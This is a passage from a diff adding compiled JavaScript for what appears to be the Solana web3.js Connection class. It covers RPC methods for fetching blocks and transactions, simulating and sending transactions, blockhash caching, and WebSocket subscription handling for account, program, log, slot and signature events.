SolanaJSONRPCError(res.error, 'failed to get confirmed block'); + } + const result = res.result; + if (!result) { + throw new Error('Confirmed block ' + slot + ' not found'); + } + return result; + } + + /** + * Fetch a transaction details for a confirmed transaction + * + * @deprecated Deprecated since RPC v1.7.0. Please use {@link getTransaction} instead. + */ + async getConfirmedTransaction(signature, commitment) { + const args = this._buildArgsAtLeastConfirmed([signature], commitment); + const unsafeRes = await this._rpcRequest('getConfirmedTransaction', args); + const res = create(unsafeRes, GetTransactionRpcResult); + if ('error' in res) { + throw new SolanaJSONRPCError(res.error, 'failed to get transaction'); + } + const result = res.result; + if (!result) return result; + const message = new Message(result.transaction.message); + const signatures = result.transaction.signatures; + return { + ...result, + transaction: Transaction.populate(message, signatures) + }; + } + + /** + * Fetch parsed transaction details for a confirmed transaction + * + * @deprecated Deprecated since RPC v1.7.0. Please use {@link getParsedTransaction} instead. + */ + async getParsedConfirmedTransaction(signature, commitment) { + const args = this._buildArgsAtLeastConfirmed([signature], commitment, 'jsonParsed'); + const unsafeRes = await this._rpcRequest('getConfirmedTransaction', args); + const res = create(unsafeRes, GetParsedTransactionRpcResult); + if ('error' in res) { + throw new SolanaJSONRPCError(res.error, 'failed to get confirmed transaction'); + } + return res.result; + } + + /** + * Fetch parsed transaction details for a batch of confirmed transactions + * + * @deprecated Deprecated since RPC v1.7.0. Please use {@link getParsedTransactions} instead. + */ + async getParsedConfirmedTransactions(signatures, commitment) { + const batch = signatures.map(signature => { + const args = this._buildArgsAtLeastConfirmed([signature], commitment, 'jsonParsed'); + return { + methodName: 'getConfirmedTransaction', + args + }; + }); + const unsafeRes = await this._rpcBatchRequest(batch); + const res = unsafeRes.map(unsafeRes => { + const res = create(unsafeRes, GetParsedTransactionRpcResult); + if ('error' in res) { + throw new SolanaJSONRPCError(res.error, 'failed to get confirmed transactions'); + } + return res.result; + }); + return res; + } + + /** + * Fetch a list of all the confirmed signatures for transactions involving an address + * within a specified slot range. Max range allowed is 10,000 slots. + * + * @deprecated Deprecated since RPC v1.3. Please use {@link getConfirmedSignaturesForAddress2} instead. + * + * @param address queried address + * @param startSlot start slot, inclusive + * @param endSlot end slot, inclusive + */ + async getConfirmedSignaturesForAddress(address, startSlot, endSlot) { + let options = {}; + let firstAvailableBlock = await this.getFirstAvailableBlock(); + while (!('until' in options)) { + startSlot--; + if (startSlot <= 0 || startSlot < firstAvailableBlock) { + break; + } + try { + const block = await this.getConfirmedBlockSignatures(startSlot, 'finalized'); + if (block.signatures.length > 0) { + options.until = block.signatures[block.signatures.length - 1].toString(); + } + } catch (err) { + if (err instanceof Error && err.message.includes('skipped')) { + continue; + } else { + throw err; + } + } + } + let highestConfirmedRoot = await this.getSlot('finalized'); + while (!('before' in options)) { + endSlot++; + if (endSlot > highestConfirmedRoot) { + break; + } + try { + const block = await this.getConfirmedBlockSignatures(endSlot); + if (block.signatures.length > 0) { + options.before = block.signatures[block.signatures.length - 1].toString(); + } + } catch (err) { + if (err instanceof Error && err.message.includes('skipped')) { + continue; + } else { + throw err; + } + } + } + const confirmedSignatureInfo = await this.getConfirmedSignaturesForAddress2(address, options); + return confirmedSignatureInfo.map(info => info.signature); + } + + /** + * Returns confirmed signatures for transactions involving an + * address backwards in time from the provided signature or most recent confirmed block + * + * @deprecated Deprecated since RPC v1.7.0. Please use {@link getSignaturesForAddress} instead. + */ + async getConfirmedSignaturesForAddress2(address, options, commitment) { + const args = this._buildArgsAtLeastConfirmed([address.toBase58()], commitment, undefined, options); + const unsafeRes = await this._rpcRequest('getConfirmedSignaturesForAddress2', args); + const res = create(unsafeRes, GetConfirmedSignaturesForAddress2RpcResult); + if ('error' in res) { + throw new SolanaJSONRPCError(res.error, 'failed to get confirmed signatures for address'); + } + return res.result; + } + + /** + * Returns confirmed signatures for transactions involving an + * address backwards in time from the provided signature or most recent confirmed block + * + * + * @param address queried address + * @param options + */ + async getSignaturesForAddress(address, options, commitment) { + const args = this._buildArgsAtLeastConfirmed([address.toBase58()], commitment, undefined, options); + const unsafeRes = await this._rpcRequest('getSignaturesForAddress', args); + const res = create(unsafeRes, GetSignaturesForAddressRpcResult); + if ('error' in res) { + throw new SolanaJSONRPCError(res.error, 'failed to get signatures for address'); + } + return res.result; + } + async getAddressLookupTable(accountKey, config) { + const { + context, + value: accountInfo + } = await this.getAccountInfoAndContext(accountKey, config); + let value = null; + if (accountInfo !== null) { + value = new AddressLookupTableAccount({ + key: accountKey, + state: AddressLookupTableAccount.deserialize(accountInfo.data) + }); + } + return { + context, + value + }; + } + + /** + * Fetch the contents of a Nonce account from the cluster, return with context + */ + async getNonceAndContext(nonceAccount, commitmentOrConfig) { + const { + context, + value: accountInfo + } = await this.getAccountInfoAndContext(nonceAccount, commitmentOrConfig); + let value = null; + if (accountInfo !== null) { + value = NonceAccount.fromAccountData(accountInfo.data); + } + return { + context, + value + }; + } + + /** + * Fetch the contents of a Nonce account from the cluster + */ + async getNonce(nonceAccount, commitmentOrConfig) { + return await this.getNonceAndContext(nonceAccount, commitmentOrConfig).then(x => x.value).catch(e => { + throw new Error('failed to get nonce for account ' + nonceAccount.toBase58() + ': ' + e); + }); + } + + /** + * Request an allocation of lamports to the specified address + * + * ```typescript + * import { Connection, PublicKey, LAMPORTS_PER_SOL } from "@solana/web3.js"; + * + * (async () => { + * const connection = new Connection("https://api.testnet.solana.com", "confirmed"); + * const myAddress = new PublicKey("2nr1bHFT86W9tGnyvmYW4vcHKsQB3sVQfnddasz4kExM"); + * const signature = await connection.requestAirdrop(myAddress, LAMPORTS_PER_SOL); + * await connection.confirmTransaction(signature); + * })(); + * ``` + */ + async requestAirdrop(to, lamports) { + const unsafeRes = await this._rpcRequest('requestAirdrop', [to.toBase58(), lamports]); + const res = create(unsafeRes, RequestAirdropRpcResult); + if ('error' in res) { + throw new SolanaJSONRPCError(res.error, `airdrop to ${to.toBase58()} failed`); + } + return res.result; + } + + /** + * @internal + */ + async _blockhashWithExpiryBlockHeight(disableCache) { + if (!disableCache) { + // Wait for polling to finish + while (this._pollingBlockhash) { + await sleep(100); + } + const timeSinceFetch = Date.now() - this._blockhashInfo.lastFetch; + const expired = timeSinceFetch >= BLOCKHASH_CACHE_TIMEOUT_MS; + if (this._blockhashInfo.latestBlockhash !== null && !expired) { + return this._blockhashInfo.latestBlockhash; + } + } + return await this._pollNewBlockhash(); + } + + /** + * @internal + */ + async _pollNewBlockhash() { + this._pollingBlockhash = true; + try { + const startTime = Date.now(); + const cachedLatestBlockhash = this._blockhashInfo.latestBlockhash; + const cachedBlockhash = cachedLatestBlockhash ? cachedLatestBlockhash.blockhash : null; + for (let i = 0; i < 50; i++) { + const latestBlockhash = await this.getLatestBlockhash('finalized'); + if (cachedBlockhash !== latestBlockhash.blockhash) { + this._blockhashInfo = { + latestBlockhash, + lastFetch: Date.now(), + transactionSignatures: [], + simulatedSignatures: [] + }; + return latestBlockhash; + } + + // Sleep for approximately half a slot + await sleep(MS_PER_SLOT / 2); + } + throw new Error(`Unable to obtain a new blockhash after ${Date.now() - startTime}ms`); + } finally { + this._pollingBlockhash = false; + } + } + + /** + * get the stake minimum delegation + */ + async getStakeMinimumDelegation(config) { + const { + commitment, + config: configArg + } = extractCommitmentFromConfig(config); + const args = this._buildArgs([], commitment, 'base64', configArg); + const unsafeRes = await this._rpcRequest('getStakeMinimumDelegation', args); + const res = create(unsafeRes, jsonRpcResultAndContext(number())); + if ('error' in res) { + throw new SolanaJSONRPCError(res.error, `failed to get stake minimum delegation`); + } + return res.result; + } + + /** + * Simulate a transaction + * + * @deprecated Instead, call {@link simulateTransaction} with {@link + * VersionedTransaction} and {@link SimulateTransactionConfig} parameters + */ + + /** + * Simulate a transaction + */ + // eslint-disable-next-line no-dupe-class-members + + /** + * Simulate a transaction + */ + // eslint-disable-next-line no-dupe-class-members + async simulateTransaction(transactionOrMessage, configOrSigners, includeAccounts) { + if ('message' in transactionOrMessage) { + const versionedTx = transactionOrMessage; + const wireTransaction = versionedTx.serialize(); + const encodedTransaction = Buffer.from(wireTransaction).toString('base64'); + if (Array.isArray(configOrSigners) || includeAccounts !== undefined) { + throw new Error('Invalid arguments'); + } + const config = configOrSigners || {}; + config.encoding = 'base64'; + if (!('commitment' in config)) { + config.commitment = this.commitment; + } + if (configOrSigners && typeof configOrSigners === 'object' && 'innerInstructions' in configOrSigners) { + config.innerInstructions = configOrSigners.innerInstructions; + } + const args = [encodedTransaction, config]; + const unsafeRes = await this._rpcRequest('simulateTransaction', args); + const res = create(unsafeRes, SimulatedTransactionResponseStruct); + if ('error' in res) { + throw new Error('failed to simulate transaction: ' + res.error.message); + } + return res.result; + } + let transaction; + if (transactionOrMessage instanceof Transaction) { + let originalTx = transactionOrMessage; + transaction = new Transaction(); + transaction.feePayer = originalTx.feePayer; + transaction.instructions = transactionOrMessage.instructions; + transaction.nonceInfo = originalTx.nonceInfo; + transaction.signatures = originalTx.signatures; + } else { + transaction = Transaction.populate(transactionOrMessage); + // HACK: this function relies on mutating the populated transaction + transaction._message = transaction._json = undefined; + } + if (configOrSigners !== undefined && !Array.isArray(configOrSigners)) { + throw new Error('Invalid arguments'); + } + const signers = configOrSigners; + if (transaction.nonceInfo && signers) { + transaction.sign(...signers); + } else { + let disableCache = this._disableBlockhashCaching; + for (;;) { + const latestBlockhash = await this._blockhashWithExpiryBlockHeight(disableCache); + transaction.lastValidBlockHeight = latestBlockhash.lastValidBlockHeight; + transaction.recentBlockhash = latestBlockhash.blockhash; + if (!signers) break; + transaction.sign(...signers); + if (!transaction.signature) { + throw new Error('!signature'); // should never happen + } + const signature = transaction.signature.toString('base64'); + if (!this._blockhashInfo.simulatedSignatures.includes(signature) && !this._blockhashInfo.transactionSignatures.includes(signature)) { + // The signature of this transaction has not been seen before with the + // current recentBlockhash, all done. Let's break + this._blockhashInfo.simulatedSignatures.push(signature); + break; + } else { + // This transaction would be treated as duplicate (its derived signature + // matched to one of already recorded signatures). + // So, we must fetch a new blockhash for a different signature by disabling + // our cache not to wait for the cache expiration (BLOCKHASH_CACHE_TIMEOUT_MS). + disableCache = true; + } + } + } + const message = transaction._compile(); + const signData = message.serialize(); + const wireTransaction = transaction._serialize(signData); + const encodedTransaction = wireTransaction.toString('base64'); + const config = { + encoding: 'base64', + commitment: this.commitment + }; + if (includeAccounts) { + const addresses = (Array.isArray(includeAccounts) ? includeAccounts : message.nonProgramIds()).map(key => key.toBase58()); + config['accounts'] = { + encoding: 'base64', + addresses + }; + } + if (signers) { + config.sigVerify = true; + } + if (configOrSigners && typeof configOrSigners === 'object' && 'innerInstructions' in configOrSigners) { + config.innerInstructions = configOrSigners.innerInstructions; + } + const args = [encodedTransaction, config]; + const unsafeRes = await this._rpcRequest('simulateTransaction', args); + const res = create(unsafeRes, SimulatedTransactionResponseStruct); + if ('error' in res) { + let logs; + if ('data' in res.error) { + logs = res.error.data.logs; + if (logs && Array.isArray(logs)) { + const traceIndent = '\n '; + const logTrace = traceIndent + logs.join(traceIndent); + console.error(res.error.message, logTrace); + } + } + throw new SendTransactionError({ + action: 'simulate', + signature: '', + transactionMessage: res.error.message, + logs: logs + }); + } + return res.result; + } + + /** + * Sign and send a transaction + * + * @deprecated Instead, call {@link sendTransaction} with a {@link + * VersionedTransaction} + */ + + /** + * Send a signed transaction + */ + // eslint-disable-next-line no-dupe-class-members + + /** + * Sign and send a transaction + */ + // eslint-disable-next-line no-dupe-class-members + async sendTransaction(transaction, signersOrOptions, options) { + if ('version' in transaction) { + if (signersOrOptions && Array.isArray(signersOrOptions)) { + throw new Error('Invalid arguments'); + } + const wireTransaction = transaction.serialize(); + return await this.sendRawTransaction(wireTransaction, signersOrOptions); + } + if (signersOrOptions === undefined || !Array.isArray(signersOrOptions)) { + throw new Error('Invalid arguments'); + } + const signers = signersOrOptions; + if (transaction.nonceInfo) { + transaction.sign(...signers); + } else { + let disableCache = this._disableBlockhashCaching; + for (;;) { + const latestBlockhash = await this._blockhashWithExpiryBlockHeight(disableCache); + transaction.lastValidBlockHeight = latestBlockhash.lastValidBlockHeight; + transaction.recentBlockhash = latestBlockhash.blockhash; + transaction.sign(...signers); + if (!transaction.signature) { + throw new Error('!signature'); // should never happen + } + const signature = transaction.signature.toString('base64'); + if (!this._blockhashInfo.transactionSignatures.includes(signature)) { + // The signature of this transaction has not been seen before with the + // current recentBlockhash, all done. Let's break + this._blockhashInfo.transactionSignatures.push(signature); + break; + } else { + // This transaction would be treated as duplicate (its derived signature + // matched to one of already recorded signatures). + // So, we must fetch a new blockhash for a different signature by disabling + // our cache not to wait for the cache expiration (BLOCKHASH_CACHE_TIMEOUT_MS). + disableCache = true; + } + } + } + const wireTransaction = transaction.serialize(); + return await this.sendRawTransaction(wireTransaction, options); + } + + /** + * Send a transaction that has already been signed and serialized into the + * wire format + */ + async sendRawTransaction(rawTransaction, options) { + const encodedTransaction = toBuffer(rawTransaction).toString('base64'); + const result = await this.sendEncodedTransaction(encodedTransaction, options); + return result; + } + + /** + * Send a transaction that has already been signed, serialized into the + * wire format, and encoded as a base64 string + */ + async sendEncodedTransaction(encodedTransaction, options) { + const config = { + encoding: 'base64' + }; + const skipPreflight = options && options.skipPreflight; + const preflightCommitment = skipPreflight === true ? 'processed' // FIXME Remove when https://github.com/anza-xyz/agave/pull/483 is deployed. + : options && options.preflightCommitment || this.commitment; + if (options && options.maxRetries != null) { + config.maxRetries = options.maxRetries; + } + if (options && options.minContextSlot != null) { + config.minContextSlot = options.minContextSlot; + } + if (skipPreflight) { + config.skipPreflight = skipPreflight; + } + if (preflightCommitment) { + config.preflightCommitment = preflightCommitment; + } + const args = [encodedTransaction, config]; + const unsafeRes = await this._rpcRequest('sendTransaction', args); + const res = create(unsafeRes, SendTransactionRpcResult); + if ('error' in res) { + let logs = undefined; + if ('data' in res.error) { + logs = res.error.data.logs; + } + throw new SendTransactionError({ + action: skipPreflight ? 'send' : 'simulate', + signature: '', + transactionMessage: res.error.message, + logs: logs + }); + } + return res.result; + } + + /** + * @internal + */ + _wsOnOpen() { + this._rpcWebSocketConnected = true; + this._rpcWebSocketHeartbeat = setInterval(() => { + // Ping server every 5s to prevent idle timeouts + (async () => { + try { + await this._rpcWebSocket.notify('ping'); + // eslint-disable-next-line no-empty + } catch {} + })(); + }, 5000); + this._updateSubscriptions(); + } + + /** + * @internal + */ + _wsOnError(err) { + this._rpcWebSocketConnected = false; + console.error('ws error:', err.message); + } + + /** + * @internal + */ + _wsOnClose(code) { + this._rpcWebSocketConnected = false; + this._rpcWebSocketGeneration = (this._rpcWebSocketGeneration + 1) % Number.MAX_SAFE_INTEGER; + if (this._rpcWebSocketIdleTimeout) { + clearTimeout(this._rpcWebSocketIdleTimeout); + this._rpcWebSocketIdleTimeout = null; + } + if (this._rpcWebSocketHeartbeat) { + clearInterval(this._rpcWebSocketHeartbeat); + this._rpcWebSocketHeartbeat = null; + } + if (code === 1000) { + // explicit close, check if any subscriptions have been made since close + this._updateSubscriptions(); + return; + } + + // implicit close, prepare subscriptions for auto-reconnect + this._subscriptionCallbacksByServerSubscriptionId = {}; + Object.entries(this._subscriptionsByHash).forEach(([hash, subscription]) => { + this._setSubscription(hash, { + ...subscription, + state: 'pending' + }); + }); + } + + /** + * @internal + */ + _setSubscription(hash, nextSubscription) { + const prevState = this._subscriptionsByHash[hash]?.state; + this._subscriptionsByHash[hash] = nextSubscription; + if (prevState !== nextSubscription.state) { + const stateChangeCallbacks = this._subscriptionStateChangeCallbacksByHash[hash]; + if (stateChangeCallbacks) { + stateChangeCallbacks.forEach(cb => { + try { + cb(nextSubscription.state); + // eslint-disable-next-line no-empty + } catch {} + }); + } + } + } + + /** + * @internal + */ + _onSubscriptionStateChange(clientSubscriptionId, callback) { + const hash = this._subscriptionHashByClientSubscriptionId[clientSubscriptionId]; + if (hash == null) { + return () => {}; + } + const stateChangeCallbacks = this._subscriptionStateChangeCallbacksByHash[hash] ||= new Set(); + stateChangeCallbacks.add(callback); + return () => { + stateChangeCallbacks.delete(callback); + if (stateChangeCallbacks.size === 0) { + delete this._subscriptionStateChangeCallbacksByHash[hash]; + } + }; + } + + /** + * @internal + */ + async _updateSubscriptions() { + if (Object.keys(this._subscriptionsByHash).length === 0) { + if (this._rpcWebSocketConnected) { + this._rpcWebSocketConnected = false; + this._rpcWebSocketIdleTimeout = setTimeout(() => { + this._rpcWebSocketIdleTimeout = null; + try { + this._rpcWebSocket.close(); + } catch (err) { + // swallow error if socket has already been closed. + if (err instanceof Error) { + console.log(`Error when closing socket connection: ${err.message}`); + } + } + }, 500); + } + return; + } + if (this._rpcWebSocketIdleTimeout !== null) { + clearTimeout(this._rpcWebSocketIdleTimeout); + this._rpcWebSocketIdleTimeout = null; + this._rpcWebSocketConnected = true; + } + if (!this._rpcWebSocketConnected) { + this._rpcWebSocket.connect(); + return; + } + const activeWebSocketGeneration = this._rpcWebSocketGeneration; + const isCurrentConnectionStillActive = () => { + return activeWebSocketGeneration === this._rpcWebSocketGeneration; + }; + await Promise.all( + // Don't be tempted to change this to `Object.entries`. We call + // `_updateSubscriptions` recursively when processing the state, + // so it's important that we look up the *current* version of + // each subscription, every time we process a hash. + Object.keys(this._subscriptionsByHash).map(async hash => { + const subscription = this._subscriptionsByHash[hash]; + if (subscription === undefined) { + // This entry has since been deleted. Skip. + return; + } + switch (subscription.state) { + case 'pending': + case 'unsubscribed': + if (subscription.callbacks.size === 0) { + /** + * You can end up here when: + * + * - a subscription has recently unsubscribed + * without having new callbacks added to it + * while the unsubscribe was in flight, or + * - when a pending subscription has its + * listeners removed before a request was + * sent to the server. + * + * Being that nobody is interested in this + * subscription any longer, delete it. + */ + delete this._subscriptionsByHash[hash]; + if (subscription.state === 'unsubscribed') { + delete this._subscriptionCallbacksByServerSubscriptionId[subscription.serverSubscriptionId]; + } + await this._updateSubscriptions(); + return; + } + await (async () => { + const { + args, + method + } = subscription; + try { + this._setSubscription(hash, { + ...subscription, + state: 'subscribing' + }); + const serverSubscriptionId = await this._rpcWebSocket.call(method, args); + this._setSubscription(hash, { + ...subscription, + serverSubscriptionId, + state: 'subscribed' + }); + this._subscriptionCallbacksByServerSubscriptionId[serverSubscriptionId] = subscription.callbacks; + await this._updateSubscriptions(); + } catch (e) { + console.error(`Received ${e instanceof Error ? '' : 'JSON-RPC '}error calling \`${method}\``, { + args, + error: e + }); + if (!isCurrentConnectionStillActive()) { + return; + } + // TODO: Maybe add an 'errored' state or a retry limit? + this._setSubscription(hash, { + ...subscription, + state: 'pending' + }); + await this._updateSubscriptions(); + } + })(); + break; + case 'subscribed': + if (subscription.callbacks.size === 0) { + // By the time we successfully set up a subscription + // with the server, the client stopped caring about it. + // Tear it down now. + await (async () => { + const { + serverSubscriptionId, + unsubscribeMethod + } = subscription; + if (this._subscriptionsAutoDisposedByRpc.has(serverSubscriptionId)) { + /** + * Special case. + * If we're dealing with a subscription that has been auto- + * disposed by the RPC, then we can skip the RPC call to + * tear down the subscription here. + * + * NOTE: There is a proposal to eliminate this special case, here: + * https://github.com/solana-labs/solana/issues/18892 + */ + this._subscriptionsAutoDisposedByRpc.delete(serverSubscriptionId); + } else { + this._setSubscription(hash, { + ...subscription, + state: 'unsubscribing' + }); + this._setSubscription(hash, { + ...subscription, + state: 'unsubscribing' + }); + try { + await this._rpcWebSocket.call(unsubscribeMethod, [serverSubscriptionId]); + } catch (e) { + if (e instanceof Error) { + console.error(`${unsubscribeMethod} error:`, e.message); + } + if (!isCurrentConnectionStillActive()) { + return; + } + // TODO: Maybe add an 'errored' state or a retry limit? + this._setSubscription(hash, { + ...subscription, + state: 'subscribed' + }); + await this._updateSubscriptions(); + return; + } + } + this._setSubscription(hash, { + ...subscription, + state: 'unsubscribed' + }); + await this._updateSubscriptions(); + })(); + } + break; + } + })); + } + + /** + * @internal + */ + _handleServerNotification(serverSubscriptionId, callbackArgs) { + const callbacks = this._subscriptionCallbacksByServerSubscriptionId[serverSubscriptionId]; + if (callbacks === undefined) { + return; + } + callbacks.forEach(cb => { + try { + cb( + // I failed to find a way to convince TypeScript that `cb` is of type + // `TCallback` which is certainly compatible with `Parameters`. + // See https://github.com/microsoft/TypeScript/issues/47615 + // @ts-ignore + ...callbackArgs); + } catch (e) { + console.error(e); + } + }); + } + + /** + * @internal + */ + _wsOnAccountNotification(notification) { + const { + result, + subscription + } = create(notification, AccountNotificationResult); + this._handleServerNotification(subscription, [result.value, result.context]); + } + + /** + * @internal + */ + _makeSubscription(subscriptionConfig, + /** + * When preparing `args` for a call to `_makeSubscription`, be sure + * to carefully apply a default `commitment` property, if necessary. + * + * - If the user supplied a `commitment` use that. + * - Otherwise, if the `Connection::commitment` is set, use that. + * - Otherwise, set it to the RPC server default: `finalized`. + * + * This is extremely important to ensure that these two fundamentally + * identical subscriptions produce the same identifying hash: + * + * - A subscription made without specifying a commitment. + * - A subscription made where the commitment specified is the same + * as the default applied to the subscription above. + * + * Example; these two subscriptions must produce the same hash: + * + * - An `accountSubscribe` subscription for `'PUBKEY'` + * - An `accountSubscribe` subscription for `'PUBKEY'` with commitment + * `'finalized'`. + * + * See the 'making a subscription with defaulted params omitted' test + * in `connection-subscriptions.ts` for more. + */ + args) { + const clientSubscriptionId = this._nextClientSubscriptionId++; + const hash = fastStableStringify([subscriptionConfig.method, args]); + const existingSubscription = this._subscriptionsByHash[hash]; + if (existingSubscription === undefined) { + this._subscriptionsByHash[hash] = { + ...subscriptionConfig, + args, + callbacks: new Set([subscriptionConfig.callback]), + state: 'pending' + }; + } else { + existingSubscription.callbacks.add(subscriptionConfig.callback); + } + this._subscriptionHashByClientSubscriptionId[clientSubscriptionId] = hash; + this._subscriptionDisposeFunctionsByClientSubscriptionId[clientSubscriptionId] = async () => { + delete this._subscriptionDisposeFunctionsByClientSubscriptionId[clientSubscriptionId]; + delete this._subscriptionHashByClientSubscriptionId[clientSubscriptionId]; + const subscription = this._subscriptionsByHash[hash]; + assert(subscription !== undefined, `Could not find a \`Subscription\` when tearing down client subscription #${clientSubscriptionId}`); + subscription.callbacks.delete(subscriptionConfig.callback); + await this._updateSubscriptions(); + }; + this._updateSubscriptions(); + return clientSubscriptionId; + } + + /** + * Register a callback to be invoked whenever the specified account changes + * + * @param publicKey Public key of the account to monitor + * @param callback Function to invoke whenever the account is changed + * @param config + * @return subscription id + */ + + /** @deprecated Instead, pass in an {@link AccountSubscriptionConfig} */ + // eslint-disable-next-line no-dupe-class-members + + // eslint-disable-next-line no-dupe-class-members + onAccountChange(publicKey, callback, commitmentOrConfig) { + const { + commitment, + config + } = extractCommitmentFromConfig(commitmentOrConfig); + const args = this._buildArgs([publicKey.toBase58()], commitment || this._commitment || 'finalized', + // Apply connection/server default. + 'base64', config); + return this._makeSubscription({ + callback, + method: 'accountSubscribe', + unsubscribeMethod: 'accountUnsubscribe' + }, args); + } + + /** + * Deregister an account notification callback + * + * @param clientSubscriptionId client subscription id to deregister + */ + async removeAccountChangeListener(clientSubscriptionId) { + await this._unsubscribeClientSubscription(clientSubscriptionId, 'account change'); + } + + /** + * @internal + */ + _wsOnProgramAccountNotification(notification) { + const { + result, + subscription + } = create(notification, ProgramAccountNotificationResult); + this._handleServerNotification(subscription, [{ + accountId: result.value.pubkey, + accountInfo: result.value.account + }, result.context]); + } + + /** + * Register a callback to be invoked whenever accounts owned by the + * specified program change + * + * @param programId Public key of the program to monitor + * @param callback Function to invoke whenever the account is changed + * @param config + * @return subscription id + */ + + /** @deprecated Instead, pass in a {@link ProgramAccountSubscriptionConfig} */ + // eslint-disable-next-line no-dupe-class-members + + // eslint-disable-next-line no-dupe-class-members + onProgramAccountChange(programId, callback, commitmentOrConfig, maybeFilters) { + const { + commitment, + config + } = extractCommitmentFromConfig(commitmentOrConfig); + const args = this._buildArgs([programId.toBase58()], commitment || this._commitment || 'finalized', + // Apply connection/server default. + 'base64' /* encoding */, config ? config : maybeFilters ? { + filters: applyDefaultMemcmpEncodingToFilters(maybeFilters) + } : undefined /* extra */); + return this._makeSubscription({ + callback, + method: 'programSubscribe', + unsubscribeMethod: 'programUnsubscribe' + }, args); + } + + /** + * Deregister an account notification callback + * + * @param clientSubscriptionId client subscription id to deregister + */ + async removeProgramAccountChangeListener(clientSubscriptionId) { + await this._unsubscribeClientSubscription(clientSubscriptionId, 'program account change'); + } + + /** + * Registers a callback to be invoked whenever logs are emitted. + */ + onLogs(filter, callback, commitment) { + const args = this._buildArgs([typeof filter === 'object' ? { + mentions: [filter.toString()] + } : filter], commitment || this._commitment || 'finalized' // Apply connection/server default. + ); + return this._makeSubscription({ + callback, + method: 'logsSubscribe', + unsubscribeMethod: 'logsUnsubscribe' + }, args); + } + + /** + * Deregister a logs callback. + * + * @param clientSubscriptionId client subscription id to deregister. + */ + async removeOnLogsListener(clientSubscriptionId) { + await this._unsubscribeClientSubscription(clientSubscriptionId, 'logs'); + } + + /** + * @internal + */ + _wsOnLogsNotification(notification) { + const { + result, + subscription + } = create(notification, LogsNotificationResult); + this._handleServerNotification(subscription, [result.value, result.context]); + } + + /** + * @internal + */ + _wsOnSlotNotification(notification) { + const { + result, + subscription + } = create(notification, SlotNotificationResult); + this._handleServerNotification(subscription, [result]); + } + + /** + * Register a callback to be invoked upon slot changes + * + * @param callback Function to invoke whenever the slot changes + * @return subscription id + */ + onSlotChange(callback) { + return this._makeSubscription({ + callback, + method: 'slotSubscribe', + unsubscribeMethod: 'slotUnsubscribe' + }, [] /* args */); + } + + /** + * Deregister a slot notification callback + * + * @param clientSubscriptionId client subscription id to deregister + */ + async removeSlotChangeListener(clientSubscriptionId) { + await this._unsubscribeClientSubscription(clientSubscriptionId, 'slot change'); + } + + /** + * @internal + */ + _wsOnSlotUpdatesNotification(notification) { + const { + result, + subscription + } = create(notification, SlotUpdateNotificationResult); + this._handleServerNotification(subscription, [result]); + } + + /** + * Register a callback to be invoked upon slot updates. {@link SlotUpdate}'s + * may be useful to track live progress of a cluster. + * + * @param callback Function to invoke whenever the slot updates + * @return subscription id + */ + onSlotUpdate(callback) { + return this._makeSubscription({ + callback, + method: 'slotsUpdatesSubscribe', + unsubscribeMethod: 'slotsUpdatesUnsubscribe' + }, [] /* args */); + } + + /** + * Deregister a slot update notification callback + * + * @param clientSubscriptionId client subscription id to deregister + */ + async removeSlotUpdateListener(clientSubscriptionId) { + await this._unsubscribeClientSubscription(clientSubscriptionId, 'slot update'); + } + + /** + * @internal + */ + + async _unsubscribeClientSubscription(clientSubscriptionId, subscriptionName) { + const dispose = this._subscriptionDisposeFunctionsByClientSubscriptionId[clientSubscriptionId]; + if (dispose) { + await dispose(); + } else { + console.warn('Ignored unsubscribe request because an active subscription with id ' + `\`${clientSubscriptionId}\` for '${subscriptionName}' events ` + 'could not be found.'); + } + } + _buildArgs(args, override, encoding, extra) { + const commitment = override || this._commitment; + if (commitment || encoding || extra) { + let options = {}; + if (encoding) { + options.encoding = encoding; + } + if (commitment) { + options.commitment = commitment; + } + if (extra) { + options = Object.assign(options, extra); + } + args.push(options); + } + return args; + } + + /** + * @internal + */ + _buildArgsAtLeastConfirmed(args, override, encoding, extra) { + const commitment = override || this._commitment; + if (commitment && !['confirmed', 'finalized'].includes(commitment)) { + throw new Error('Using Connection with default commitment: `' + this._commitment + '`, but method requires at least `confirmed`'); + } + return this._buildArgs(args, override, encoding, extra); + } + + /** + * @internal + */ + _wsOnSignatureNotification(notification) { + const { + result, + subscription + } = create(notification, SignatureNotificationResult); + if (result.value !== 'receivedSignature') { + /** + * Special case. + * After a signature is processed, RPCs automatically dispose of the + * subscription on the server side. We need to track which of these + * subscriptions have been disposed in such a way, so that we know + * whether the client is dealing with a not-yet-processed signature + * (in which case we must tear down the server subscription) or an + * already-processed signature (in which case the client can simply + * clear out the subscription locally without telling the server). + * + * NOTE: There is a proposal to eliminate this special case, here: + * https://github.com/solana-labs/solana/issues/18892 + */ + this._subscriptionsAutoDisposedByRpc.add(subscription); + } + this._handleServerNotification(subscription, result.value === 'receivedSignature' ? [{ + type: 'received' + }, result.context] : [{ + type: 'status', + result: result.value + }, result.context]); + } + + /** + * Register a callback to be invoked upon signature updates + * + * @param signature Transaction signature string in base 58 + * @param callback Function to invoke on signature notifications + * @param commitment Specify the commitment level signature must reach before notification + * @return subscription id + */ + onSignature(signature, callback, commitment) { + const args = this._buildArgs([signature], commitment || this._commitment || 'finalized' // Apply connection/server default. + ); + const clientSubscriptionId = this._makeSubscription({ + callback: (notification, context) => { + if (notification.type === 'status') { + callback(notification.result, context); + // Signatures subscriptions are auto-removed by the RPC service + // so no need to explicitly send an unsubscribe message. + try { + this.removeSignatureListener(clientSubscriptionId); + // eslint-disable-next-line no-empty + } catch (_err) { + // Already removed. + } + } + }, + method: 'signatureSubscribe', + unsubscribeMethod: 'signatureUnsubscribe' + }, args); + return clientSubscriptionId; + } + + /** + * Register a callback to be invoked when a transaction is + * received and/or processed. + * + * @param signature Transaction signature string in base 58 + * @param callback Function to invoke on signature notifications + * @param options Enable received notifications and set the commitment + * level that signature must reach before notification + * @return subscription id + */ + onSignatureWithOptions(signature, callback, options) { + const { + commitment, + ...extra + } = { + ...options, + commitment: options && options.commitment || this._commitment || 'finalized' // Apply connection/server default. + }; + const args = this._buildArgs([signature], commitment, undefined /* encoding */, extra); + const clientSubscriptionId = this._makeSubscription({ + callback: (notification, context) => { + callback(notification, context); + // Signatures subscriptions are auto-removed by the RPC service + // so no need to explicitly send an unsubscribe message. + try { + this.removeSignatureListener(clientSubscriptionId); + // eslint-disable-next-line no-empty + } catch (_err) { + // Already removed. + } + }, + method: 'signatureSubscribe', + unsubscribeMethod: 'signatureUnsubscribe' + }, args); + return clientSubscriptionId; + } + + /** + * Deregister a signature notification callback + * + * @param clientSubscriptionId client subscription id to deregister + */ + async 